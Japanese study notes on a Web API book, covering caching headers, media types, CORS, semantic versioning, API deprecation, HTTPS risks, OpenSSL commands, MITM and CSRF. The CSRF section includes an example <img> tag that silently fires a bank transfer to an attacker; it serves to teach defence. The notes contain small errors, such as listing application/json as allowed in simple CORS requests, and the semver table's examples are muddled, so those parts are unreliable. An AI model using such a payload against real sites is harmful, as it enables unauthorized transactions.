no-transform | HTTP 中継ノード(プロキシや CDN)がレスポンスを圧縮・最適化・フォーマット変換してはダメ | 画像のフォーマット変換やテキスト圧縮を禁止し「オリジナルそのまま」を配信したいとき(例:バイナリフォーマットが厳密に必要な場合) |
must-revalidate | 有効期限切れ後は必ずサーバーへ再検証し、304/200 の判断を行う必要がある |
max-age 付きで一度キャッシュしても、期限切れ後はサーバー確認を厳格に行わせたい場合 |
proxy-revalidate |
must-revalidate と同様だが、共有キャッシュのみ に適用 |
共有キャッシュ環境下でのみ「期限切れ後は必ず再検証」を強制し、ブラウザキャッシュには影響させたくない場合 |
max-age=<秒数> | キャッシュの有効期間を 秒単位 で指定 |
max-age=3600 (1時間)など、ブラウザ/共有キャッシュ両方で同じ TTL を使いたいとき |
s-maxage=<秒数> |
共有キャッシュ専用 の TTL を秒単位で指定(max-age より優先) |
CDN やプロキシは長め(例:s-maxage=86400 =24時間)、ブラウザは短め(別途 max-age )にしたいとき |
メディアタイプ
🐶「どんなメディアタイプがあるのか」
以下、主要なメディアタイプ(MIME タイプ)について、表形式でまとめました。
メディアタイプ | 主な拡張子 | 種別 | 説明 |
---|---|---|---|
text/plain |
.txt |
テキスト | プレーンテキスト。改行や文字だけを扱うシンプルなファイル形式。 |
text/html |
.html , .htm
|
ドキュメント | HTML(Webページ)。ブラウザがレンダリングして表示するマークアップ言語。 |
application/xml |
.xml |
マークアップ | 汎用的な XML。データ交換や設定ファイル、RSS/Atom のベースとしても利用。 |
text/css |
.css |
スタイルシート | Webページのデザイン(レイアウト・色・フォント指定など)を記述するスタイルシート。 |
application/javascript |
.js |
スクリプト | JavaScript。ブラウザや Node.js などで実行されるプログラムコード。 |
application/json |
.json |
データ交換 | JSON(JavaScript Object Notation)。軽量なデータ交換フォーマット。 |
application/rss+xml |
.rss |
フィード | RSS フィード。ブログやニュースの更新情報を配信する XML ベースのフォーマット。 |
application/atom+xml |
.atom |
フィード | Atom フィード。RSS 同様に更新情報を配信する、より新しい XML ベースのフォーマット。 |
application/octet-stream |
(なし) | バイナリ汎用 | 汎用バイナリ。種類不明/ダウンロード強制などに使われる。 |
application/zip |
.zip |
圧縮アーカイブ | ZIP 形式の圧縮ファイル。複数ファイルをまとめて圧縮・展開できる。 |
image/jpeg |
.jpg , .jpeg
|
画像 | JPEG 形式の写真画像。高圧縮で自然画(写真)に強い。 |
image/png |
.png |
画像 | PNG 形式の画像。可逆圧縮で透過もサポート。アイコンや図版に適する。 |
video/mp4 |
.mp4 |
動画 | MP4 形式の動画。H.264 や H.265 コーデックを使ったストリーミング配信にも広く使われる。 |
ポイント解説
-
text/*
系: 人間が読むプレーンなテキスト向け。エディタやブラウザでそのまま開ける。 -
application/*
系: 機械同士のデータ交換や圧縮形式、スクリプトなど。扱う際はライブラリ依存になることも。 -
image/*
,video/*
: メディアファイル専用。Web では<img>
や<video>
タグで参照。 -
+xml
: XML を拡張した形式で、RSS/Atom のように「XML の一種」として扱われる。
各メディアタイプを正しく指定すると、ブラウザやクライアントが最適な処理(表示/ダウンロード/実行)を自動で判断してくれます。
メディアタイプ | 主な拡張子 | 種別 | 説明 |
---|---|---|---|
text/plain |
.txt |
テキスト | プレーンテキスト。改行や文字だけを扱うシンプルなファイル形式。 |
text/html |
.html , .htm
|
ドキュメント | HTML(Webページ)。ブラウザがレンダリングして表示するマークアップ言語。 |
application/xml |
.xml |
マークアップ | 汎用的な XML。データ交換や設定ファイル、RSS/Atom のベースとしても利用。 |
text/css |
.css |
スタイルシート | Webページのデザイン(レイアウト・色・フォント指定など)を記述するスタイルシート。 |
application/javascript |
.js |
スクリプト | JavaScript。ブラウザや Node.js などで実行されるプログラムコード。 |
application/json |
.json |
データ交換 | JSON(JavaScript Object Notation)。軽量なデータ交換フォーマット。 |
application/rss+xml |
.rss |
フィード | RSS フィード。ブログやニュースの更新情報を配信する XML ベースのフォーマット。 |
application/atom+xml |
.atom |
フィード | Atom フィード。RSS 同様に更新情報を配信する、より新しい XML ベースのフォーマット。 |
application/octet-stream |
(なし) | バイナリ汎用 | 汎用バイナリ。種類不明/ダウンロード強制などに使われる。 |
application/zip |
.zip |
圧縮アーカイブ | ZIP 形式の圧縮ファイル。複数ファイルをまとめて圧縮・展開できる。 |
image/jpeg |
.jpg , .jpeg
|
画像 | JPEG 形式の写真画像。高圧縮で自然画(写真)に強い。 |
image/png |
.png |
画像 | PNG 形式の画像。可逆圧縮で透過もサポート。アイコンや図版に適する。 |
video/mp4 |
.mp4 |
動画 | MP4 形式の動画。H.264 や H.265 コーデックを使ったストリーミング配信にも広く使われる。 |
メディアタイプは以下の形式で表現される。
トップレベルタイプ名 / サブタイプ名 [ ; パラメータ]
今は基本的にトップレベルタイプ名はtext
ではなくapplication
を使うようになっているらしい。
CORS(Cross-Origin Resource Sharing)
CORSとは、異なるドメインでも通信することを許可するポリシーのことを指す。
異なるオリジンとはURIのスキーム、ホスト、ポート番号の組み合わせによって決定される。
なので、https://example.com
とhttp://example.com
、https://api.example.com
は全て異なるオリジンと見做されるということ。
CORSのやりとり
- オリジンをリクエストヘッダーに含めて送信する
- 送られてきたオリジンヘッダーが許可するオリジンリストに含まれていたらOK
- 一覧に含まれている場合は
Access-Control-Allow-Origin
をレスポンスヘッダに含めて返す
🐶「CORSについて」
🔒 Same-Origin Policy(同一生成元ポリシー)のおさらい
ブラウザはセキュリティのために、**「あるオリジン(protocol+ホスト+ポート)から読み込んだページは、別オリジンのリソースに自由にアクセスできない」**という仕組みを持っています。
- 例)
https://example.com
上の JavaScript が、勝手にhttps://api.hacker.com/data
を読み込んでしまうと危険…というわけです。
1️⃣ CORS(Cross-Origin Resource Sharing)とは?
「安全に」別オリジン間でリソースを共有させるルール
ブラウザとサーバー間で HTTP ヘッダーをやり取りし、
「このオリジンからのリクエストなら許可しますよ」 とサーバーが宣言することで、
安全にクロスオリジン通信を実現します。
2️⃣ 基本フロー 📡
-
ブラウザがリクエスト
fetch("https://api.example.com/user", { credentials: "include" // Cookie も送りたい場合 })
-
サーバーが応答ヘッダーを付与
Access-Control-Allow-Origin: https://your-app.com Access-Control-Allow-Credentials: true
-
ブラウザがチェック
- リクエスト元(your-app.com)が
Allow-Origin
と一致 → レスポンスをアプリに渡す - 一致しない or ヘッダーが無い → ブロック(コンソールにエラー)
- リクエスト元(your-app.com)が
3️⃣ シンプルリクエスト vs. プリフライト 🌊
シンプルリクエスト
以下の条件を満たすとき、そのままリクエスト&レスポンス
- メソッドが
GET
,POST
,HEAD
のいずれか -
Content-Type
がtext/plain
,application/json
など 許可ヘッダー だけ - カスタムヘッダーを使わない
サーバーからの応答例
Access-Control-Allow-Origin: *
プリフライトリクエスト(OPTIONS)
上記以外(PUT や特殊ヘッダー使用など)の場合、
ブラウザが事前に OPTIONS
メソッドで問合せ → OK なら本番リクエスト
OPTIONS /user
Origin: https://your-app.com
Access-Control-Request-Method: DELETE
サーバーはこう返す:
Access-Control-Allow-Origin: https://your-app.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: X-My-Custom-Header
✅ 事前チェックで安全が確かめられたら、本リクエスト実行!
4️⃣ 実際のコード例
サーバー(Express.js)の設定例
import express from "express";
import cors from "cors";
const app = express();
// 特定オリジンのみ許可(安全推奨)
app.use(cors({
origin: "https://your-app.com",
credentials: true
}));
app.get("/user", (req, res) => {
res.json({ id: 1, name: "もんた" });
});
app.listen(3000);
クライアント(ブラウザ)の呼び出し
fetch("https://api.example.com/user", {
credentials: "include" // Cookie を送るなら必須
})
.then(res => res.json())
.then(data => console.log(data))
.catch(err => console.error("CORS Error:", err));
5️⃣ 注意点とベストプラクティス ⚠️
ポイント | 説明 |
---|---|
* vs 固定オリジン |
* は便利だが Cookie や認証情報が必要な場合は使えない。安全には「実際のオリジン」を明示的に指定しよう。 |
credentials の扱い |
Access-Control-Allow-Credentials: true を出すときは、origin を * にできない。 |
プリフライトのキャッシュ |
Access-Control-Max-Age を設定すると、プリフライト結果をブラウザで一定時間キャッシュできる。 |
セキュリティ意識 | CORS は「制限を緩める」仕組み。不要にワイルドカードを使わず、最小限の許可に留めよう。 |
🎯 まとめ
- CORS = 安全に別オリジン通信を可能にする HTTP ヘッダーの約束事
- シンプルリクエストはヘッダーひとつで OK、複雑なものはプリフライトで事前確認
- サーバー側で適切に
Access-Control-Allow-*
を設定し、最小限のオリジンだけ許可しよう!
これで、CORS の基本イメージと実装ポイントがつかめます👍
まとめ
この章ではHTTPの使用を最大限使うためにどうするかを学んだ。
主にキャッシュやヘッダの設定などに関して学ぶことができた。
特に学びになったのはブラウザキャッシュ周りの設定である。
Cache-Controlについてはなんとなく理解しているつもりだったが、こうやって改めて体系的に学ぶことで「あ、あれはそういうことだったのか」となった。
Cache-ControlはNext.jsなどでもよく出てくるヘッダなので、今後も使っていこう。
また、この章では新たにValidation Modelについて学んだ。
Validation Modelは「このキャッシュが新鮮かどうか」をサーバーに問い合わせるキャッシュモデルのこと。ネットワーク通信は発生してしまうが、少ない通信できゃっしぃングを行える。
5章 設計変更をしやすいWeb APIを作る
セマンティックバージョン
🐶「セマンティックバージョン」
セマンティックバージョニング(SemVer)とは?
ソフトウェアのバージョン番号に「意味」を持たせるルール で、互換性や機能追加の度合いを一目で分かるようにします。以下、ステップ・バイ・ステップで見ていきましょう。
1️⃣ 基本フォーマット
MAJOR.MINOR.PATCH[-PRERELEASE][+BUILD]
項目 | 意味 | 例 |
---|---|---|
MAJOR | 後方互換性を壊す変更 を伴う大規模バージョンアップ | 2 → 3 |
MINOR | 後方互換性を保ちつつ 新機能追加 | 1 → 1.1 |
PATCH | 後方互換性を保ちつつ バグ修正のみ | 0 → 0.0.1 |
PRERELEASE | リリース候補やベータ版など 正式版前 の識別子(オプション) | -alpha.1 |
BUILD | ビルド情報やメタデータ。バージョン比較には影響しない(オプション) | +20250521.1 |
2️⃣ バージョン番号の付け方ルール
-
初リリースは
1.0.0
を推奨-
0.x.y
系は API 安定前。メジャー変更は気にしない。
-
-
破壊的変更(非互換) → MAJOR を+1、MINOR/PATCH は
0
にリセット- 例:
1.4.2
→2.0.0
- 例:
-
新機能追加(互換性保持) → MINOR を+1、PATCH は
0
にリセット- 例:
2.0.0
→2.1.0
- 例:
-
バグ修正のみ → PATCH を+1
- 例:
2.1.0
→2.1.1
- 例:
3️⃣ プレリリースとビルドメタデータ
-
プレリリース:
alpha
,beta
,rc.1
など、正式公開前の版- 比較例:
1.0.0-alpha.1
<1.0.0-beta.1
<1.0.0
- 比較例:
-
ビルドメタデータ:
+build.123
,+sha.9fceb02
- バージョン同士の大小比較には使われず、ビルド番号やコミット SHA など識別用
4️⃣ 具体例で流れをイメージ
リリース内容 | 旧バージョン | 新バージョン | 理由 |
---|---|---|---|
プロジェクト初公開 | ― | 1.0.0 |
最初の安定版 |
軽微なバグ修正 | 1.0.0 |
1.0.1 |
後方互換かつバグ修正のみ |
新しい API エンドポイント追加 | 1.0.1 |
1.1.0 |
互換性保ちながら新機能追加 |
パラメータ形式を変更して互換性破壊 | 1.1.0 |
2.0.0 |
破壊的変更が入ったのでメジャーバージョンを更新 |
次期版のベータテスト開始 | 2.0.0 |
2.1.0-beta.1 |
マイナー機能追加のプレリリース |
CI ビルド識別のためにコミット SHA 付与 | 2.1.0 |
2.1.0+sha.abc123 |
ビルドメタデータとしてコミットを記録 |
5️⃣ SemVer のメリット・注意点
メリット
- 依存ライブラリとの互換性管理が明確
- リリースのインパクト(破壊的変更 vs 軽微修正)がひと目で分かる
注意点
- 厳密にルールを守ること が重要。チームで運用ルールを合意しよう
-
0.x.y
は MAJOR 安定前 とみなされるため、破壊的変更でも MAJOR を増やさない場合がある - プレリリースやビルドメタデータは慣例に合わせて命名し、ドキュメント化しておくとベター
6️⃣ 運用のヒント
-
CHANGELOG.md でバージョンごとの変更履歴をまとめ、MAJOR/MINOR/PATCH の更新理由を記載
-
CI/CD で SemVer 自動インクリメントツール(
npm version
,bump2version
など)を導入すると人為ミスを防げる -
依存管理ツール(npm, Maven, pip など)は SemVer 互換性を前提にバージョン制約を指定
// npm package.json 例 "dependencies": { "ライブラリA": "^1.2.3", // MAJOR 安定版のみ自動アップデート "ライブラリB": "~2.1.0" // マイナーバージョン内のみ自動アップデート }
🎯 まとめ
- MAJOR.MINOR.PATCH で破壊的変更/新機能/バグ修正を区分
- プレリリース と ビルドメタデータ でリリース段階やビルド情報を付与
- 厳格な運用ルール と CHANGELOG+自動化ツール で一貫性を担保しよう
これらを守ることで、チームやユーザーにとって分かりやすく、信頼性の高いリリース管理が実現できます!
1️⃣ 基本フォーマット
MAJOR.MINOR.PATCH[-PRERELEASE][+BUILD]
項目 意味 例 MAJOR 後方互換性を壊す変更 を伴う大規模バージョンアップ 2 → 3 MINOR 後方互換性を保ちつつ 新機能追加 1 → 1.1 PATCH 後方互換性を保ちつつ バグ修正のみ 0 → 0.0.1 PRERELEASE リリース候補やベータ版など 正式版前 の識別子(オプション) -alpha.1
BUILD ビルド情報やメタデータ。バージョン比較には影響しない(オプション) +20250521.1
とりあえず、これを見とけばOK。
セマンティックバージョンはバージョンを大きく3つの項目に分けてバージョン管理を行うためのルールである。
-
MAJORバージョンは後方互換性のない大きな規模のバージョンアップを指す。
-
MINORバージョンは後方互換性を持つ新機能などのバージョンアップを指す。
-
PATCHバージョンは後方互換性を持つ細かいバグ修正のバージョンアップを指す。
また、本では紹介されていなかったがそのほかにも、「PRERELEASE」や「BUILD」などが存在する。
-
PRERELEASEにはベータ版などの識別子をつける。
-
BUILDはビルド情報などのメタデータをつけるらしい。個人的には見たことない。
APIの提供を終了する
古いバージョンはセキュリティやユーザー体験、運用コストなどの面からもできるだけ提供を停止することが望ましい。
例えばTwitter(X)の場合だと、Blackout Testといって古いバージョンのAPIの提供を一時的に終了するなどのテストを何度か行うなどして、APIの提供終了を行っている。
APIの提供終了の際は定期的な通知やBlackout Testなどを駆使して終了させていくのがよいアプローチ。
🐶「Blackout Testとは」
🚨 API提供終了(サンセット)における Blackout Test とは、
「本番環境で API を一時的に“真っ暗化(=完全遮断)”し、利用中のクライアントや周辺システムが提供終了後でも安全に振る舞うかを検証するテスト」 です。
1️⃣ いつやるの?
API を正式に廃止(サンセット)する前の 最終確認フェーズ で実施します。
- 廃止予定日より前に1–2週間、限定的な時間帯でブラックアウト
- すべてのリクエストを意図的にエラー(例:HTTP 410 Gone)やタイムアウトで返す
2️⃣ 何を確かめる?
チェック項目 | 期待動作の例 |
---|---|
クライアントのフォールバック | 代替 API へのフォールバック呼び出し、キャッシュ返却、UI のエラーメッセージ表示など |
異常時のユーザー体験 | ユーザーに「サービス終了のお知らせ」ページを出す、機能停止の説明ダイアログ表示など |
モニタリング/アラート | 404/410 エラー率の急上昇を検知 → 運用チームへ通知 |
バッチ/バックエンド連携 | バッチ処理や他システム連携がエラーで壊れないか、リトライや例外ハンドリングが動くか |
ドキュメント/SDK | ドキュメント内の廃止注意書きが表示されるか、SDK がサンセット例外を投げるか |
ロールバック手順の検証 | 万が一不具合が起きた時に API を再度有効化できるか/設定手順が問題なく動くか |
3️⃣ 実施ステップの例
-
影響範囲の特定
- どのバージョン・どのクライアントがまだ使っているかログから抽出
-
ブラックアウトウィンドウ設定
- 例:毎日 02:00〜03:00 の1時間のみ、本番環境で API を遮断
-
遮断手段の用意
- API ゲートウェイでルール追加(全リクエストを HTTP 410 で返す)
- Firewall/Network Policy でエンドポイントを unreachable に設定
-
テスト実行
- 予定のウィンドウに入ったら自動で遮断開始
- クライアント・運用ダッシュボード・アラートを監視
-
結果分析
- フォールバック失敗や例外発生箇所を洗い出し
- ドキュメントやコードの改修、SDK アップデートを行う
-
ロールバック
- テストウィンドウ終了後、自動/手動で遮断解除
- 元の API 動作に戻ることを確認
4️⃣ なぜ重要?
- 想定外クライアントの発見:ドキュメントを読まずに古いバージョンを叩いているサービスやユーザーが残っていないか把握できる
- フォールバック品質の保証:サンセット後に「画面が真っ白」「クラッシュする」といった致命的不具合を事前に潰せる
- 運用体制の整備:実際の切断時に発生するアラートや対応フローを訓練し、本番リリースを安全に進める
🎯 まとめ
APIのBlackout Test は、廃止予定のAPIを意図的に遮断し、「提供終了後でも依存システムやユーザー体験が壊れないか」 を本番環境に近い状況で検証する非常に強力な手法です。
これを通じてクライアントの残存状況を把握し、フォールバックやドキュメントの準備漏れを事前に解消して、安全な API サンセットを実現しましょう。
そのほかにも、提供終了の仕様を盛り込んでおくという方法もあった。
提供終了の仕様を盛り込んでおくとは、例えばだがAPIの提供が終了しているエンドポイントにアクセスした場合ステータスコード410(Gone)を返すなどである。
これは「このAPIはもう提供されてないよ!乙!」というメッセージを送ることができる。
また、メッセージとして「このAPIは公開が終了しました。より新しいバージョンを使ってくださいね。」みたいにしておくと非常に親切。
そのほかに、ネイティブアプリの場合はクライアント側に強制アップデートさせるなどである。
古いバージョンにアクセスがあった場合、クライアント画面に「利用するにはアップデートしてください」みたいなメッセージを表示し、ユーザーにアップデートを促すのである。
このアプローチはユーザーの離脱の一因にもなり得るが、なんの前触れもなく提供を終了し、エラーに出くわすよりかは非常にユーザーに優しい設計。
まとめ
この章では設計変更を行いやすいAPIとは何かということを学んだ。
設計変更しやすいAPIとはバージョンがパスベースで設計(http://example.com/api/v1
みたいな)されており、メジャー・マイナー・パッチを用いたセマンティックバージョンでバージョン管理されているということがわかった。
また、公開しているAPIにおいてはAPIの提供終了をどのように行うべきかについて学ぶことができた。例としてTwitter(X)が出てきた。
TwitterではBlackout Testという古いバージョンのAPIの提供を終了するテストなどを繰り返したり、周知を繰り返すなどしてAPIの提供終了を行っていることがわかった。
個人的に提供終了した場合はステータスコード410を返し、最新バージョンを使うよう促すメッセージをつけるのは非常に良い方法だなと思った。
6章 堅牢なWeb.APIを作る
HTTPSは100%安全か?
🐶「HTTPSは100%安全か?」
以下では HTTPS の仕組みはひとまず置き、“なぜ 100% 安全とは言えないのか”、“実際に起きたインシデント”“中間者攻撃(MITM)”“証明書周りのリスク”“それらへの対策”に絞って解説します。
1️⃣ 実装・ライブラリの脆弱性
Heartbleed(CVE-2014-0160)
-
概要: OpenSSL の「ハートビート拡張機能」にバッファオーバーランがあり、
リモートから最大 64KiB のサーバー RAM 内容を読み出せる。
-
影響: メモリ上のパスワード、セッションキー、サーバー秘密鍵など機密情報が漏洩。
-
教訓: 暗号ライブラリは小さなバグでも致命的。常に迅速なアップデート管理が必須。
サイドチャネル攻撃例
- Lucky Thirteen: TLS レコード処理時のタイミング差を測り、MAC 検証結果の一部を推測。
- Bleichenbacher 攻撃: RSA 暗号でのエラー応答から秘密鍵の一部を徐々に解読。
→ 対策: 推奨設定(TLS1.2+、AEAD 暗号スイート)を使い、ライブラリは常に最新化。
2️⃣ CA(認証局)トラストモデルの落とし穴
CA の不正発行・ハック
- DigiNotar 事件(2011): オランダの CA がハッキングされ、悪意ある証明書が大量発行。
- Symantec 系 CA 信頼失墜(2017): 証明書検証ルール違反で、主要ブラウザから段階的に信頼剥奪。
偽証明書による MITM
- ユーザー ⇄ 攻撃者 ⇄ 正規サイト
- 攻撃者が偽の証明書で TLS 接続を仲介
- ユーザーはブラウザに警告を無視すると、平文同様に通信を盗聴・改ざんされる
→ 対策:
- Certificate Transparency (CT): 発行された証明書を公開ログに記録し、不正発行を検出。
- HSTS Preload: 長期間 HTTPS のみ許可し、攻撃者によるダウングレードを防止。
- Public Key Pinning (HPKP) は廃止傾向。代わりに証明書監視サービスを利用。
3️⃣ 秘密鍵・サーバー環境のリスク
-
秘密鍵の漏洩
- サーバー上に平文で置くと、OS/コンテナ/VM レイヤの侵害で奪われる恐れ。
- 対策: HSM(Hardware Security Module)やクラウドの Key Vault で鍵をハードウェア隔離。
-
旧バージョン・設定ミス
- TLS1.0/1.1 や RC4、SHA-1 など弱い暗号をまだ許可していると、旧式クライアント経由で狙われる。
- 対策: TLS1.2+(理想は TLS1.3)のみ許可し、OWASP や Mozilla の推奨設定を採用。
4️⃣ まとめ:HTTPS 安全性向上のために
課題 | 主な対策 |
---|---|
ライブラリ脆弱性 | OpenSSL 等を常に最新化。CI に脆弱性スキャン導入。 |
サイドチャネル攻撃 | AEAD 暗号スイート(AES-GCM, ChaCha20-Poly1305)+TLS1.2+/1.3。 |
CA 不正発行・MITM | Certificate Transparency、HSTS Preload、証明書監視サービス。 |
秘密鍵管理 | HSM/クラウド Key Vault で鍵を隔離。アクセス権限を厳格化。 |
設定ミス・旧プロトコル許可 | TLS1.3+HTTP/2 or HTTP/3。脆弱設定を無効化。OWASP/Mozilla ガイドライン準拠。 |
HTTPS は「盗聴・改ざんを極めて困難にする」非常に強力な仕組みですが、実装・運用・信頼モデルの穴は常に存在します。
“100% 安全”ではないことを前提に、層状防御(ライブラリ更新・強暗号+HSM+CT+HSTS)を徹底しましょう。
HTTPSを用いて通信を暗号化していれば100%安全かと言われるとそうではない。
実際、OpenSSLというオープンソースの暗号化ライブラリのバグが原因でメモリの内容を外部から読み出すことができてしまうという事件があった。
🐶「OpenSSLとは」
🔐 OpenSSLとは何か?
OpenSSL は、
暗号化・復号化
ハッシュ生成
SSL/TLS 通信
を行う ライブラリ と、
それを使った コマンドラインツール のセットです。
- ライブラリ:プログラムから呼び出して暗号処理を利用
- コマンドツール:ターミナル上で証明書発行や暗号化などを簡単に実行
1️⃣ 主な機能と役割
機能カテゴリ | できること |
---|---|
鍵・証明書管理 | 鍵ペア(公開鍵+秘密鍵)の生成、CSR(証明書署名要求)、証明書発行 |
TLS/SSL テスト | サーバ/クライアントの TLS ハンドシェイク試験(疎通確認、証明書検証) |
データ暗号化・復号化 | 対称鍵暗号(AES, DES など)を使ったファイル暗号化や復号 |
ハッシュ・MAC 生成 |
SHA256 などのハッシュ値や HMAC を生成して、改ざん検知や署名に利用 |
フォーマット変換 | PEM ⇄ DER、PKCS#12 ⇄ PEM など、証明書・鍵の形式を相互変換 |
2️⃣ 具体例で見る OpenSSL の使い方
例1:RSA 鍵ペアの生成
# 秘密鍵 (2048 bit) の生成
openssl genrsa -out private.pem 2048
# 公開鍵を秘密鍵から抽出
openssl rsa -in private.pem -pubout -out public.pem
-
private.pem
に秘密鍵 -
public.pem
に対応する公開鍵
例2:CSR(証明書署名要求)の作成
openssl req -new \
-key private.pem \
-out server.csr \
-subj "/C=JP/ST=Tokyo/L=Chiyoda-ku/O=ExampleCorp/CN=example.com"
-
subj
で組織名やドメイン(CN)を指定 - CA へ提出すると、署名済証明書が返ってくる
例3:自己署名証明書の発行
openssl x509 -req \
-in server.csr \
-signkey private.pem \
-days 365 \
-out server.crt
- CSR を自分の秘密鍵で署名 → 信頼チェーン無しの自己署名証明書
- テスト環境や社内向けに手軽に HTTPS を立てられる
例4:証明書形式の変換(PEM ⇄ DER)
# PEM → DER(バイナリ形式)
openssl x509 -in server.crt -outform der -out server.der
# DER → PEM
openssl x509 -in server.der -inform der -out server.pem
例5:ファイルの暗号化/復号化
# 暗号化 (AES-256-CBC)
openssl enc -aes-256-cbc -salt \
-in secret.txt -out secret.enc
# 復号化
openssl enc -d -aes-256-cbc \
-in secret.enc -out secret_decrypted.txt
- 対称鍵をパスワードから派生して暗号化
- 簡易的なファイル保護に使える
例6:TLS 接続テスト(s_client)
openssl s_client -connect example.com:443
- リモートサーバーと TLS ハンドシェイクを実行
- 証明書チェーンや暗号スイート、各種オプションで詳細情報を確認できる
3️⃣ なぜ OpenSSL を使うのか?
- 豊富な暗号アルゴリズム を標準でサポート
- 幅広いプラットフォーム(Linux, macOS, Windows)で動作
- Apache, Nginx, OpenSSH など多くのソフトウェアが依存
- コマンドツールで 迅速なトラブルシュート や 自動化スクリプト が書きやすい
4️⃣ 注意点・ベストプラクティス
- バージョン管理:Heartbleed など過去に重大脆弱性があるため、最新の安定版を利用
- 安全な設定:TLS1.2/1.3+強力な暗号スイートを選ぶ
- 秘密鍵の保護:ファイルパーミッションや HSM/Key Vault で厳重管理
🎯 まとめ
- OpenSSL = 暗号化ライブラリ + CLI ツール の総称
- 鍵ペア生成~証明書管理~データ暗号化~TLSテスト まで幅広く対応
- 具体例コマンドを覚えると、HTTPS や暗号処理の導入・トラブルシュートがグッと楽になります!
おそらくこの事件はHeartbleet事件のこと。詳しくはこちらをどうぞ。
参考:https://www.hitachi-solutions.co.jp/sbom/blog/2022021505/
この事件からも分かるように、HTTPSを使っているからといって100%安全ではないということを念頭に置いておこう。
その他にも、MITMによる盗聴などの危険性もある。
MITM(man-in-the-middle attack)
🐶「MITMとは」
🕵️♂️ MITM(Man-In-The-Middle)攻撃とは?
攻撃者が 通信の「中間」に割り込み、送受信されるデータを盗聴・改ざん・再送信する手口です。
通信当事者 A⇄B は「直接やり取りしている」と思っていますが、実際には A⇄攻撃者⇄B の経路になっています。
1️⃣ 攻撃の仕組み
-
中継地点の確保
- 公衆Wi-Fiのルーターを偽装(Rogue AP)
- LAN 内で ARP スプーフィング(ARP Poisoning)
-
パケットの傍受
- A→B の HTTP リクエストやクッキーを盗む
-
データの改ざん・再送
- パスワードやクレジット情報を抜き取る
- Web ページのコンテンツを書き換える
-
透過的な中継
- A も B も「通信が正常」と思い込み被害に気づきにくい
2️⃣ 具体例:カフェの無料Wi-Fi☕️
-
攻撃者の準備
- 「Free_Cafe_WiFi」というアクセスポイントを立てる
-
被害者が接続
- 利用者 A は「公衆Wi-Fiだ」と思って接続
-
通信の傍受
- A が
http://example.com/login
に送った ID/PW を盗む
- A が
-
B サーバーへの中継
- 攻撃者は拾ったログイン情報で正規サーバーにアクセス
-
改ざんページの返却
- ログイン後に「セキュリティチェックのため再ログインしてください」などの偽メッセージを表示
-
情報再取得
- A が再度入力した情報も盗まれ、二重に被害が拡大
3️⃣ HTTPS でも起こり得る?🔒
-
証明書を偽装
- 攻撃者が自前の証明書を生成し、被害者端末に「信頼済み」と思わせてインストールさせる
-
中間証明書の侵害
- 信頼された CA がハックされると、正規サイトの証明書が偽造可能に
結果として、ブラウザが警告を無視すると TLS 暗号化された通信 も解読・改ざんされ得ます。
4️⃣ 防御策🛡️
-
HTTPS+証明書検証
- ブラウザの警告は無視しない
- HSTS(HTTP Strict Transport Security)を有効化
-
証明書ピンニング
- モバイルアプリなどで「特定の証明書のみ許可」する
-
Wi-Fi 利用の注意
- 公衆Wi-Fiでは VPN を併用
-
ARP スプーフィング対策
- スイッチやルーターで MAC アドレスの固定
-
パケット監視
- 異常な再送や遅延、証明書チェーンの変化をログ・アラート
🎯 まとめ
- MITM 攻撃 は「通信の中間で盗聴・改ざんする」非常に危険な手法。
- 公衆Wi-Fi や同一 LAN 内で特に狙われやすい。
- HTTPS+正しい証明書運用 や VPN、証明書ピンニング で防御を固めましょう。
1️⃣ 攻撃の仕組み
- 中継地点の確保
- 公衆Wi-Fiのルーターを偽装(Rogue AP)
- LAN 内で ARP スプーフィング(ARP Poisoning)
- パケットの傍受
- A→B の HTTP リクエストやクッキーを盗む
- データの改ざん・再送
- パスワードやクレジット情報を抜き取る
- Web ページのコンテンツを書き換える
- 透過的な中継
- A も B も「通信が正常」と思い込み被害に気づきにくい
MITMとはman-in-the-middle attackのこと。日本語にすると中間者攻撃である。
MITMは、中継したサーバーが不正な証明書を送っており、そこから通信の内容を読み取るなどである。その他にもWifiルータを偽装したりさまざまな方法で中継したサーバーに入り込み、通信の内容を盗み見る攻撃のことである。
対策としては信頼のおけるサーバー証明書であることを検証する、公共のWifiではVPNを使用するなどして対策を講じよう。
4️⃣ 防御策🛡️
- HTTPS+証明書検証
- ブラウザの警告は無視しない
- HSTS(HTTP Strict Transport Security)を有効化
- 証明書ピンニング
- モバイルアプリなどで「特定の証明書のみ許可」する
- Wi-Fi 利用の注意
- 公衆Wi-Fiでは VPN を併用
- ARP スプーフィング対策
- スイッチやルーターで MAC アドレスの固定
- パケット監視
- 異常な再送や遅延、証明書チェーンの変化をログ・アラート
CSRF(Cross-Site Request Forgery)
※本書ではXSRFと書かれてあったが、今はCSRFの方が有名なので、CSRFとして説明します
🐶「CSRFとは」
🔄 CSRF(Cross-Site Request Forgery)とは?
「ウェブサイトAにログイン中のユーザーが、意図せずサイトBからのリクエストを送信させられ、悪意ある操作をされる攻撃」 のことです。
1️⃣ 具体例でイメージしてみよう 🏦→🛒
-
ユーザーが銀行サイトでログイン中
- Cookie にセッション情報が入っている
-
攻撃者が仕込んだ悪意あるページを閲覧
<!-- 攻撃ページに埋め込まれたタグ例 --> <img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
-
ユーザーのブラウザが自動でリクエスト送信
-
<img>
タグはページ読み込み時にリクエストを発行 - Cookie は同一ドメインなら自動送信される
-
-
銀行サイトは “正当なユーザー” と勘違い
- セッション Cookie を見て認証 → 10000 円を攻撃者口座に振込
-
ユーザーは知らないうちに被害 😱
2️⃣ なぜ起きる?ポイントは「Cookie の自動送信」
- ブラウザは同一ドメインの Cookie を「何が起きても」自動的に付与
-
<img>
や<form>
、fetch()
などからのリクエストにも同様 - 結果として「ユーザーが意図しない操作」でも Cookie を伴ったまま実行されてしまう
3️⃣ CSRF と XSS の違い
攻撃手法 | 特徴 |
---|---|
XSS | 悪意ある スクリプト を被害サイトに注入し実行させる |
CSRF | 正当なリクエスト を偽装して送らせる |
- XSS は「スクリプト実行」が目的
- CSRF は「リクエスト実行」が目的
4️⃣ 防御策(ベストプラクティス)🛡️
-
CSRF トークンの利用
- フォームや AJAX リクエストに 一回限りの秘密トークン を埋め込む
- サーバー側でトークン照合 → 有効なら処理、無効なら拒否
<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="RANDOM_TOKEN" /> <!-- 送金フォーム --> </form>
-
SameSite 属性付き Cookie
Set-Cookie: session=abc; SameSite=Lax
- 異なるサイトからのリクエストでは Cookie が送られない
- サードパーティー環境下でも効果を発揮
-
